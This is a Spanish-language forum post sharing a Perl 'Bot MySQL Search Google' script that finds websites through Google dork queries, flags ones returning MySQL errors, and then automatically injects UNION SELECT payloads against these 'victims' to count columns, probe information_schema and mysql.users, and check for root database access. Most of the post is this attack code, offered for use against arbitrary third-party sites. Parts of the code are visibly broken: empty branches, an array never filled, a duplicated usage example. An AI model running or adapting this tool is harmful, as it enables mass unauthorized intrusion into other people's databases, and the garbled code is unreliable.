Lo que hace el BOT es buscar en google con un patron de busqueda y luego testear si la pagina es posiblemente inyectable a SQL., en el caso de que lo sea lo guarda para despues intentar inyectar por si solo. Todo lo almacena en un archivo que nosotros le pasamos como parametro su nombre. Un Ejemplo de uso:
Citar
+++++++++++++++++++++++++++++++++++++
+ Bot MySQL Search Google 2.0 +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++++++++
[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 10
[?]Nombre de archivo donde guardar todo: >>argetinas.txt
Fijense los parametros. el primero es el patron de busqueda inurl:noticias.php?id= site:com.ar+ Bot MySQL Search Google 2.0 +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++++++++
[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 10
[?]Nombre de archivo donde guardar todo: >>argetinas.txt
- Search:
, el segundo es la cantidad de paginas para google 10, y en el tercer es el nombre del archivo donde almacenara todo para despues revisarlo con mayor tranquilidad argetinas.txt
El ataque de la inyeccion se divide en estos pasos.+
1. Obviamente sacar la cantidad de columnas mediante la clausula UNION con una cota superior de 50. (eso lo pueden modificar en el codigo si quieren aun mas)
2. Verificar disponibilidad de Information_schema
3. Verificar disponibilidad de Mysq.Users
4. Verificar si el usuario de la base de datos es r00t.
Tengo pensado seguir agregandole mas cosas como busquedas atraves del BING y testeo de otras posibles formas de inyecciones. Si alguien tiene alguna sugerencia, critica, comentario, codigo lo que sea con mucho gusto sera recibido..
Aqui va el codigo.
Código
#Bot MySql Search Google v 2.0 #Coded by Magnobalt #contact Msn: magnobalt@gmail.com #thanks www-Insecurity.cl && www.undersecurity.net #!/usr/bin/perl use LWP::Simple; use LWP::UserAgent; use HTTP::Request; $dork.=<STDIN>; $paginas.=<STDIN> ; $archivo.=<STDIN>; #----------------------------------------------------------------------------------------------------- #Buscando en google vulnerabilidades for($i = 0;$i <= $paginas*10;$i += 10) { $busqueda = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$i; $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'); $ua->timeout(7); #$ua->env_proxy; $response = $ua->get($busqueda); $source= $response->content; while ($source =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) { $ban=0; my $enlace = $1; $testing=$enlace."\'"; $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'); $ua->timeout(10); $response = $ua->get($testing); $error=$response->content; if($error=~ /mysql_fetch_/ || $error=~ /You have an error in your SQL syntax/ || $error =~ /tem um erro de sintaxe no seu SQL/ || $error =~ /mysql_num_rows/ || $error =~ /Division by zero in/) { #----------------------------------------------------------------------------------------------------- # Verifico si existe la url en entre las victimas para no redundar foreach $exist(@victims){ if ($url eq $url2){ $ban=1; } }#cierre foreach if ($ban == 0){ } #----------------------------------------------------------------------------------------------------- } } }#fin del for if (@victims){ #verifico si no esta vacio el arrays for($i=0;$i<=$#victims;$i++){ } }else { print AR "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n"; } #----------------------------------------------------------------------------------------------------- # Empezando la automatizacion del bot #----------------------------------------------------------------------------------------------------- for($ii=0;$ii<=$#victims;$ii++){ $ban2=0; $victima=$victims[$ii]; $cfin ="--" ; $cmn="+"; #$victims[$opc]=$victims[$opc]." *";# Coloco al final el Asterisco misma_victima: if ($ban2 == 1) { $cfin ="/*" ; $cmn="/**/"; } #----------------------------------------------------------------------------------------------------- #busqueda de Columnas $column=50; for ($col=0; $col <=$column;$col++){ $union.=','."0x6d61676e6f62616c74"; $numero.=','.$col; if ($col ==0){ $union=''; $numero=''; } $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cfin; $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'); $ua->timeout(10); $response = $ua->get($out); $verifica=$response->content; if ($verifica =~/magnobalt/) { $col++; #----------------------------------------------------------------------------------------------------- #buscando Information_schema $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."information_schema.tables".$cfin;#busco information schema. $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'); $ua->timeout(10); $response = $ua->get($out); $verifica=$response->content; if ($verifica =~/magnobalt/){ }else { } #----------------------------------------------------------------------------------------------------- #buscando Mysql.users $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."Mysql.users".$cfin; $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'); $ua->timeout(10); $response = $ua->get($out); $verifica=$response->content; if ($verifica =~/magnobalt/){ }else { } #----------------------------------------------------------------------------------------------------- #verficando si esta corriendo como root while($j < $col-1){ $root.=','."concat(0x6d61676e6f62616c74,user())"; $j++; } $out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."concat(0x6d61676e6f62616c74,user())".$root.$cfin; $ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'); $ua->timeout(10); $response = $ua->get($out); $verifica=$response->content; if ($verifica=~/magnobaltroot@/){ }else { } $col=80;#fuerzo salida del for de columnas } }#cierre for de columnas if ($ban2 == 0 && $col == 51){ $ban2=1; goto misma_victima; } if ($cfin eq "/*" && $col == 51){ } }#cierre for principal #------------------------------------------------------------------------------------------------------------ #imprimimos la que tuvieron exitos y las que no for($i=0;$i<=$#victims_on;$i++){ } for($i=0;$i<=$#victims_off;$i++){ }
Saludos a Todos...